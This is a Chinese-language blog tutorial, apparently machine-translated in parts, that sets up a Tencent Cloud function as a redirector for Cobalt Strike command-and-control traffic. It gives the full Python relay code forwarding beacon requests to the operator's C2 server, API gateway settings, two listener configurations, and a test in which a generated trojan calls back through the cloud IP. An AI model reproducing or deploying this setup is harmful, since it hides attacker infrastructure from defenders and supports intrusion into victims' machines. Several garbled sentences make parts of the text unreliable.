cobal Strike云函数配置与相关踩坑

介绍

cs利用函数进行主机上线转换后,可以隐藏自己的云函数对css之间的网络转换进行中转,所以在ca中查看域名请求的所有连接时,查看云函数的请求地址,而在css看到了来自云函数的服务员的

云函数配置

腾讯云

我这里使用的是腾讯函数,家庭的云函数也很大不差。我们首先需要注册一个账号,打开其中的云函数功能。

image-20211016221516410

新建云函数

选择自定义创建,名称随意,运行环境python3.6

image-20211016221901992

云函数

直接使用网上流传的代码代码

注意替换自己的ip和端口为主机监听的ip和端口

# -*- coding: utf8 -*-
import json,base64,requests
def main_handler(event,context):
    C2 = 'http://ip:port'
    headers = event['headers']
    path = event['path']
    ip = event['requestContext']['sourceIp']
    headers = event['headers']
    headers['X-Forwarded-For'] = ip
    print(event)
    if event['httpMethod'] == 'GET':
        resp = requests.get(C2+path,headers=headers,verify=False)
    else:
        resp = requests.post(C2+path,data=event['body'],headers=headers,verify=False)
        print(resp.headers)
        print(resp.content)

    response={
        "isBase64Encoded":True,
        "statusCode":resp.status_code,
        "headers":dict(resp.headers),
        "body":str(base64.b64encode(resp.content))[2:-1]
    }
    return response
image-20211016222710841

点击完成即可

配置触发网关

image-20211016222902249
image-20211016222940194

触发方式选择API网关触发集成请求

image-20211016223035544

提交,获取API配置相关信息

image-20211016223323158

记住访问路径,需要使用

https://service-l6pw2mll-1301629007.sh.apigw.tencentcs.com/release/cs_tencent

点击api服务名,进入配置API

image-20211016223525932
image-20211016223712661

修改路径为/

image-20211016223800672

完成发布服务

cs配置

监听器一

添加监听器,这个监听器生成shellcode,但是实际使用不需要连接请求80个端口,也可以使用其他shellcode,生成器连接到腾讯云函数的cs shellcode,则可能需要生成监听器

这里需注意坑点:

  • HTTP Hosts 是记住的域名部分,不可访问协议和后面的路径

  • Beacon HTTP端口必须为80,Beacon HTTPS端口必须为443

image-20211016224525073

点击生成

监听器二

添加监听器二,这个监听器为真正接受Beacon回连的监听器,使用Payload需与监听器一相同

HTTP Hosts 为自己的服务器IP

港口为自己建会港口

需要与云函数代码配置中的IP端口保持一致

image-20211016225516026

点击生成

测试上线

生成测试木马

监听器选择最成先生的监听器一,即监听云域的监听器

image-20211016225755811

上线运行

image-20211016225958051

这里ip是云中举办的转,所以来源是云中举办的ip

坑点

测试的时候使用插件,发现k8大佬的Ladon怎么都用不了,直接上传源程序到Beacon中也无法上传

折腾了好久,最终定位到了问题点

原因是因为此时云函数配置中的把命令连传中,因为Beacon传,转向服务器再将文件中处理所以,等会执行。原因是经过测试,可能上传的kb文件。

image-20211016230501312

时间解决方法很简单,直接拉满就可以了

image-20211016230857797

然后可以正常执行命令

image-20211016231041680